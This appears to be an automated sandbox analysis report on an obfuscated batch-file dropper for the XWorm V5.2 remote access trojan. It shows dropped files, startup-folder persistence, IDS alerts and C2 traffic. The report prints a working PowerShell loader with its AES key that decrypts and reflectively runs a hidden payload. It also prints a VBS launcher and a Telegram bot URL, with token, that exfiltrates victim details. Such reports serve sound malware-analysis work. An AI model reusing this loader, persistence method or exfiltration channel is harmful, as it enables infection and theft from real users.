                                                  Size (bytes):60
                                                  Entropy (8bit):4.038920595031593
                                                  Encrypted:false
                                                  SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                  MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                  SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                  SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                  SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                  Malicious:false
                                                  Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                  C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Aug 22 10:10:35 2024, mtime=Thu Aug 22 10:10:35 2024, atime=Thu Aug 22 10:10:35 2024, length=452608, window=hide
                                                  Category:dropped
                                                  Size (bytes):776
                                                  Entropy (8bit):5.075761463495087
                                                  Encrypted:false
                                                  SSDEEP:12:81e/4lhOkZ6vC5+ylCU3jAuFs+qegUNwuLrttzAOBOO/k44t2YZ/elFlSJmkmV:89lQy6vtyAUTAR+qe7ptzDqygm
                                                  MD5:550058EB5B9BC2A8384EF6EF346A1BF8
                                                  SHA1:5AB9BA7F45995E27FB9F7178655819D678E8D4D4
                                                  SHA-256:5534107C1D03919A4938FB1A7E57CC97C46B54FEFB91FD7F36185ED16A1DA099
                                                  SHA-512:C2543A47D3FDD40ACCB341BA657E4A3B4E06CA14778229B858911715B7529DC7828AF1A64E9D7D2028184333EF157E2D15110E734355E2C3479831448784D58F
                                                  Malicious:true
                                                  Preview:L..................F.... ....,A.....,A.....,A..............................:..DG..Yr?.D..U..k0.&...&.......$..S....,A......i........t. .CFSF..2......YRY .e45iasd.exe...t.Y^...H.g.3..(.....gVA.G..k...H.......YRY.YRY........................../qx.e.4.5.i.a.s.d...e.x.e...F...L...............-.......K....................C:\Users\user\e45iasd.exe.. .....\.....\.....\.....\.....\.....\.....\.e.4.5.i.a.s.d...e.x.e.............:...........|....I.J.H..K..:...`.......X.......506013...........hT..CrF.f4... .V."w`...-...-$..hT..CrF.f4... .V."w`...-...-$.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                  C:\Users\user\AppData\Roaming\startup_str_521.bat

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:DOS batch file, ASCII text, with very long lines (47705), with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):282135
                                                  Entropy (8bit):6.0832394917729955
                                                  Encrypted:false
                                                  SSDEEP:6144:GSaUS5qmkg0wxunQlyz46x1xXsGF4W1tl2R6LOlF1Adux:IImkmxXyFx1x8u408R6Sgux
                                                  MD5:EAE7AA8FEFF31887941D85EFC8B29CB7
                                                  SHA1:78EB93B98393F1F8C5E1445BDA9A2A7555F482E0
                                                  SHA-256:A924F18D12ACC2FCEDCBF6A268715CEEE220F82D43E34578E3A25DF7123C58E4
                                                  SHA-512:EBA25143D1EB7B37A7074958EAB548AE40264DE0599E40757AF824A09CB1628A8981191682B49E5E6C357F75E62BA2B5CAC429224B02A814020E105666900A19
                                                  Malicious:true
                                                  Preview:@echo off..%SixsALEeBxOiAhxnMBwC%s%SixsALEeBxOiAhxnMBwC%e%SixsALEeBxOiAhxnMBwC%t%SixsALEeBxOiAhxnMBwC%l%SixsALEeBxOiAhxnMBwC%o%SixsALEeBxOiAhxnMBwC%c%SixsALEeBxOiAhxnMBwC%a%SixsALEeBxOiAhxnMBwC%l%SixsALEeBxOiAhxnMBwC% %SixsALEeBxOiAhxnMBwC%e%SixsALEeBxOiAhxnMBwC%n%SixsALEeBxOiAhxnMBwC%a%SixsALEeBxOiAhxnMBwC%b%SixsALEeBxOiAhxnMBwC%l%SixsALEeBxOiAhxnMBwC%e%SixsALEeBxOiAhxnMBwC%d%SixsALEeBxOiAhxnMBwC%e%SixsALEeBxOiAhxnMBwC%l%SixsALEeBxOiAhxnMBwC%a%SixsALEeBxOiAhxnMBwC%y%SixsALEeBxOiAhxnMBwC%e%SixsALEeBxOiAhxnMBwC%d%SixsALEeBxOiAhxnMBwC%e%SixsALEeBxOiAhxnMBwC%x%SixsALEeBxOiAhxnMBwC%p%SixsALEeBxOiAhxnMBwC%a%SixsALEeBxOiAhxnMBwC%n%SixsALEeBxOiAhxnMBwC%s%SixsALEeBxOiAhxnMBwC%i%SixsALEeBxOiAhxnMBwC%o%SixsALEeBxOiAhxnMBwC%n%SixsALEeBxOiAhxnMBwC%..set "NKPtTKndZjUgFnzqFmmS=s"..set "qzXoWraifWIIPfbjqTnL=t"..set "DjNOLMIuulmOvYpKjzhu=!NKPtTKndZjUgFnzqFmmS!e!qzXoWraifWIIPfbjqTnL!"..!DjNOLMIuulmOvYpKjzhu! "wLsrDomTYA=>&1"..!DjNOLMIuulmOvYpKjzhu! "OzCXeWdcul=ul 2"..!DjNOLMIuulmOvYpKjzhu! "GnESdJTflv=

                                                  C:\Users\user\AppData\Roaming\startup_str_521.bat:Zone.Identifier

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):26
                                                  Entropy (8bit):3.95006375643621
                                                  Encrypted:false
                                                  SSDEEP:3:ggPYV:rPYV
                                                  MD5:187F488E27DB4AF347237FE461A079AD
                                                  SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                  SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                  SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                  Malicious:false
                                                  Preview:[ZoneTransfer]....ZoneId=0

                                                  C:\Users\user\AppData\Roaming\startup_str_521.vbs

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:ASCII text, with no line terminators
                                                  Category:dropped
                                                  Size (bytes):118
                                                  Entropy (8bit):4.826215325781848
                                                  Encrypted:false
                                                  SSDEEP:3:FER/8ClVRK+pn2HoN+EaKC5DXy77k2hn:FERblVR/p2IN7aZ5DXyvkO
                                                  MD5:215AB143E86588A5E522B7BE06399F93
                                                  SHA1:F9D1480C76999FC036D4174E3C4B8A3758BD0798
                                                  SHA-256:AFC2FD50542003DC2C00C80790B108C5B293D733A0715A222B6B906587CCD51B
                                                  SHA-512:58A0E1B2C37525AFEE6615F127DBCDA600D5E8EF21631A98D499717E71D0BB998CA25F398E85B87117C4FCA6559FCCBA10D97A4DCEA6276600AFDDD2CD35AA93
                                                  Malicious:true
                                                  Antivirus:
                                                  • Antivirus: Avira, Detection: 100%
                                                  Preview:CreateObject(Replace("WScript.Shell","SubChar","")).Run """C:\Users\user\AppData\Roaming\startup_str_521.bat""", 0

                                                  C:\Users\user\e45iasd.exe

                                                  Download File
                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:PE32+ executable (console) x86-64, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):452608
                                                  Entropy (8bit):5.459268466661775
                                                  Encrypted:false
                                                  SSDEEP:6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
                                                  MD5:04029E121A0CFA5991749937DD22A1D9
                                                  SHA1:F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054
                                                  SHA-256:9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F
                                                  SHA-512:6A2FB055473033FD8FDB8868823442875B5B60C115031AAEDA688A35A092F6278E8687E2AE2B8DC097F8F3F35D23959757BF0C408274A2EF5F40DDFA4B5C851B
                                                  Malicious:false
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 0%
                                                  Joe Sandbox View:
                                                  • Filename: gcapi64.cmd, Detection: malicious, Browse
                                                  • Filename: fed1bc0d4bf498ec8909dbc96118bda13606c389fa2d381a2a138ea63b69de3a_dump2.dll.dll, Detection: malicious, Browse
                                                  • Filename: fed1bc0d4bf498ec8909dbc96118bda13606c389fa2d381a2a138ea63b69de3a_dump2.dll.dll, Detection: malicious, Browse
                                                  • Filename: file.exe, Detection: malicious, Browse
                                                  • Filename: BrowserUpdater.lnk, Detection: malicious, Browse
                                                  • Filename: Updater.lnk, Detection: malicious, Browse
                                                  • Filename: ZG7UaFRPVW.exe, Detection: malicious, Browse
                                                  • Filename: IN-34823_PO39276-pdf.vbe, Detection: malicious, Browse
                                                  • Filename: 7XU2cRFInT.exe, Detection: malicious, Browse
                                                  • Filename: megerosites.cmd, Detection: malicious, Browse
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..%k.ovk.ovk.ovu..vi.ovb..va.ov..lwi.ov..kwq.ovk.nv.ov..nwn.ov..jwb.ov..bwb.ov..vj.ov..mwj.ovRichk.ov........................PE..d....A.~.........."..........^......@=.........@..........................................`.......... .......................................L...........}...p..........................T......................(..................`................................text............................... ..`.rdata.............................@..@.data...,....`.......L..............@....pdata.......p.......T..............@..@.rsrc....}.......~...^..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................

                                                  \Device\Null

                                                  Download File
                                                  Process:C:\Windows\System32\net1.exe
                                                  File Type:ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):37
                                                  Entropy (8bit):3.6408290408368487
                                                  Encrypted:false
                                                  SSDEEP:3:gAxKEUTaa:gAMEe
                                                  MD5:768165E0ABF16BF3056836D5431A7296
                                                  SHA1:9FB3196BE60E49BFC319EBD9E0B103954D711E34
                                                  SHA-256:B44C505B721E93E2A596577018CC65B993CD632B9FE7620A4B3DB54031AFFF5D
                                                  SHA-512:1250EC40BA20F39A5B9A3AAFD45C63CB6F1BF48B89ACCE1F885470C936FB48A803081943C68458BA1ADCE92D5FE79D3E45682285F56ECB29884D41974269992D
                                                  Malicious:false
                                                  Preview:There are no entries in the list.....

                                                  Static File Info

                                                  General

                                                  File type:DOS batch file, ASCII text, with very long lines (47705), with CRLF line terminators
                                                  Entropy (8bit):6.0832394917729955
                                                  TrID:
                                                    File name:PollosAplicaccion.bat
                                                    File size:282'135 bytes
                                                    MD5:eae7aa8feff31887941d85efc8b29cb7
                                                    SHA1:78eb93b98393f1f8c5e1445bda9a2a7555f482e0
                                                    SHA256:a924f18d12acc2fcedcbf6a268715ceee220f82d43e34578e3a25df7123c58e4
                                                    SHA512:eba25143d1eb7b37a7074958eab548ae40264de0599e40757af824a09cb1628a8981191682b49e5e6c357f75e62ba2b5cac429224b02a814020e105666900a19
                                                    SSDEEP:6144:GSaUS5qmkg0wxunQlyz46x1xXsGF4W1tl2R6LOlF1Adux:IImkmxXyFx1x8u408R6Sgux
                                                    TLSH:4F54BD168E0E46D7569F73E103FD93205EA1174DBC44A9C3A89A72C5A3F7B482C7BA13
                                                    File Content Preview:@echo off..%SixsALEeBxOiAhxnMBwC%s%SixsALEeBxOiAhxnMBwC%e%SixsALEeBxOiAhxnMBwC%t%SixsALEeBxOiAhxnMBwC%l%SixsALEeBxOiAhxnMBwC%o%SixsALEeBxOiAhxnMBwC%c%SixsALEeBxOiAhxnMBwC%a%SixsALEeBxOiAhxnMBwC%l%SixsALEeBxOiAhxnMBwC% %SixsALEeBxOiAhxnMBwC%e%SixsALEeBxOiA

                                                    File Icon

                                                    Icon Hash:9686878b929a9886

                                                    Network Behavior

                                                    Suricata IDS Alerts

                                                    TimestampProtocolSIDSignatureSeveritySource PortDest PortSource IPDest IP
                                                    2024-08-22T13:12:02.779834+0200TCP2853193ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound1497262404192.168.2.695.98.144.201
                                                    2024-08-22T13:10:37.349104+0200TCP2853685ETPRO MALWARE Win32/XWorm Checkin via Telegram149717443192.168.2.6149.154.167.220
                                                    2024-08-22T13:11:17.374041+0200TCP2855924ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound1497202404192.168.2.695.98.144.201

                                                    Network Port Distribution

                                                    TCP Packets

                                                    TimestampSource PortDest PortSource IPDest IP
                                                    Aug 22, 2024 13:10:36.433418036 CEST49717443192.168.2.6149.154.167.220
                                                    Aug 22, 2024 13:10:36.433437109 CEST44349717149.154.167.220192.168.2.6
                                                    Aug 22, 2024 13:10:36.433501005 CEST49717443192.168.2.6149.154.167.220
                                                    Aug 22, 2024 13:10:36.441106081 CEST49717443192.168.2.6149.154.167.220
                                                    Aug 22, 2024 13:10:36.441118956 CEST44349717149.154.167.220192.168.2.6
                                                    Aug 22, 2024 13:10:37.073666096 CEST44349717149.154.167.220192.168.2.6
                                                    Aug 22, 2024 13:10:37.073828936 CEST49717443192.168.2.6149.154.167.220
                                                    Aug 22, 2024 13:10:37.077733040 CEST49717443192.168.2.6149.154.167.220
                                                    Aug 22, 2024 13:10:37.077738047 CEST44349717149.154.167.220192.168.2.6
                                                    Aug 22, 2024 13:10:37.078062057 CEST44349717149.154.167.220192.168.2.6
                                                    Aug 22, 2024 13:10:37.101658106 CEST49717443192.168.2.6149.154.167.220
                                                    Aug 22, 2024 13:10:37.144505978 CEST44349717149.154.167.220192.168.2.6
                                                    Aug 22, 2024 13:10:37.349159002 CEST44349717149.154.167.220192.168.2.6
                                                    Aug 22, 2024 13:10:37.349220991 CEST44349717149.154.167.220192.168.2.6
                                                    Aug 22, 2024 13:10:37.349312067 CEST49717443192.168.2.6149.154.167.220
                                                    Aug 22, 2024 13:10:37.354382038 CEST49717443192.168.2.6149.154.167.220
                                                    Aug 22, 2024 13:10:37.514396906 CEST497182404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:10:37.519311905 CEST24044971895.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:10:37.519382954 CEST497182404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:10:37.595154047 CEST497182404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:10:37.601032019 CEST24044971895.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:10:49.962758064 CEST497182404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:10:49.967734098 CEST24044971895.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:10:58.895349026 CEST24044971895.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:10:58.895443916 CEST497182404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:02.732836962 CEST497182404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:02.737739086 CEST24044971895.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:02.745059967 CEST497202404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:02.749900103 CEST24044972095.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:02.749974966 CEST497202404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:02.770184994 CEST497202404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:02.775023937 CEST24044972095.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:17.374041080 CEST497202404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:17.378930092 CEST24044972095.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:24.114686012 CEST24044972095.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:24.118115902 CEST497202404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:26.264307022 CEST497202404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:26.273727894 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:26.274893045 CEST24044972095.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:26.281599045 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:26.281863928 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:26.298583984 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:26.303476095 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:38.029841900 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:38.034883022 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:41.561242104 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:41.566519022 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:41.592363119 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:41.597632885 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:41.826787949 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:41.832056046 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:41.889384985 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:41.895589113 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:41.983197927 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:41.993381023 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:44.811031103 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:44.815839052 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:47.248676062 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:47.253487110 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:47.661026955 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:47.661087990 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:52.345454931 CEST497232404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:52.354712009 CEST24044972395.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:52.534342051 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:52.539210081 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:52.539381027 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:52.585757017 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:52.590620041 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:57.314024925 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:57.318934917 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:57.485929012 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:57.490813971 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:57.873766899 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:57.878693104 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:57.904721975 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:57.909513950 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:57.936013937 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:57.940809965 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:57.983726978 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:57.991044998 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:58.045532942 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:58.052578926 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:58.093215942 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:58.098352909 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:58.139149904 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:58.144153118 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:58.154711008 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:58.159611940 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:11:58.170443058 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:11:58.179251909 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:12:02.779834032 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:12:02.784728050 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:12:05.748711109 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:12:05.753571033 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:12:11.499859095 CEST497262404192.168.2.695.98.144.201
                                                    Aug 22, 2024 13:12:11.504791021 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:12:13.911021948 CEST24044972695.98.144.201192.168.2.6
                                                    Aug 22, 2024 13:12:13.911087990 CEST497262404192.168.2.695.98.144.201

                                                    UDP Packets

                                                    TimestampSource PortDest PortSource IPDest IP
                                                    Aug 22, 2024 13:10:36.413530111 CEST6304853192.168.2.61.1.1.1
                                                    Aug 22, 2024 13:10:36.428060055 CEST53630481.1.1.1192.168.2.6

                                                    DNS Queries

                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                    Aug 22, 2024 13:10:36.413530111 CEST192.168.2.61.1.1.10xb930Standard query (0)api.telegram.orgA (IP address)IN (0x0001)false

                                                    DNS Answers

                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                    Aug 22, 2024 13:10:36.428060055 CEST1.1.1.1192.168.2.60xb930No error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false

                                                    HTTP Request Dependency Graph

                                                    • api.telegram.org

                                                    HTTPS Proxied Packets

                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                    0192.168.2.649717149.154.167.220443936C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    TimestampBytes transferredDirectionData
                                                    2024-08-22 11:10:37 UTC449OUTGET /bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=6337292784&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A87D11B8638EC6829CF88%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20B2C22K%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2 HTTP/1.1
                                                    Host: api.telegram.org
                                                    Connection: Keep-Alive
                                                    2024-08-22 11:10:37 UTC388INHTTP/1.1 200 OK
                                                    Server: nginx/1.18.0
                                                    Date: Thu, 22 Aug 2024 11:10:37 GMT
                                                    Content-Type: application/json
                                                    Content-Length: 457
                                                    Connection: close
                                                    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                    Access-Control-Allow-Origin: *
                                                    Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                    Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                    2024-08-22 11:10:37 UTC457INData Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 30 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 34 32 31 34 39 34 39 30 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 57 61 6e 6e 61 42 75 6c 6b 5f 42 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 57 61 6e 6e 61 43 72 79 30 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 33 33 37 32 39 32 37 38 34 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 41 73 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6a 68 7a 7a 78 73 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 32 34 33 32 35 30 33 37 2c 22 74 65 78 74
                                                    Data Ascii: {"ok":true,"result":{"message_id":1090,"from":{"id":6421494903,"is_bot":true,"first_name":"WannaBulk_Bot","username":"WannaCry0x_bot"},"chat":{"id":6337292784,"first_name":"As","last_name":"By","username":"jhzzxs","type":"private"},"date":1724325037,"text


                                                    Statistics

                                                    CPU Usage

                                                    Click to jump to process

                                                    Memory Usage

                                                    Click to jump to process

                                                    High Level Behavior Distribution

                                                    Click to dive into process behavior distribution

                                                    Behavior

                                                    Click to jump to process

                                                    System Behavior

                                                    General

                                                    Target ID:0
                                                    Start time:07:10:06
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\cmd.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PollosAplicaccion.bat" "
                                                    Imagebase:0x7ff799540000
                                                    File size:289'792 bytes
                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:1
                                                    Start time:07:10:06
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\conhost.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                    Imagebase:0x7ff66e660000
                                                    File size:862'208 bytes
                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:3
                                                    Start time:07:10:07
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\net.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:net file
                                                    Imagebase:0x7ff6a84e0000
                                                    File size:59'904 bytes
                                                    MD5 hash:0BD94A338EEA5A4E1F2830AE326E6D19
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:high
                                                    Has exited:true

                                                    General

                                                    Target ID:4
                                                    Start time:07:10:07
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\net1.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:C:\Windows\system32\net1 file
                                                    Imagebase:0x7ff759600000
                                                    File size:183'808 bytes
                                                    MD5 hash:55693DF2BB3CBE2899DFDDF18B4EB8C9
                                                    Has elevated privileges:true
                                                    Has administrator privileges:true
                                                    Programmed in:C, C++ or other language
                                                    Reputation:moderate
                                                    Has exited:true

                                                    General

                                                    Target ID:5
                                                    Start time:07:10:08
                                                    Start date:22/08/2024
                                                    Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    Wow64 process (32bit):false
                                                    Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6VdBmIxfljLUbIX4k/VK2dkoJHwWJjnboCEGaiK9Ksk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AfGVni1E/DgzNaZyr1bq+Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $evPTP=New-Object System.IO.MemoryStream(,$param_var); $Tgngw=New-Object System.IO.MemoryStream; $glxBv=New-Object System.IO.Compression.GZipStream($evPTP, [IO.Compression.CompressionMode]::Decompress); $glxBv.CopyTo($Tgngw); $glxBv.Dispose(); $evPTP.Dispose(); $Tgngw.Dispose(); $Tgngw.ToArray();}function execute_function($param_var,$param2_var){ $RjrbO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tvMZN=$RjrbO.EntryPoint; $tvMZN.Invoke($null, $param2_var);}$dxXqn = 'C:\Users\user\Desktop\PollosAplicaccion.bat';$host.UI.RawUI.WindowTitle = $dxXqn;$qVyct=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($dxXqn).Split([Environment]::NewLine);foreach ($CWzJO in $qVyct) { if ($CWzJO.StartsWith(':: ')) { $xStIY=$CWzJO.Substring(3); break; }}$payloads_var=[string[]]$xStIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function 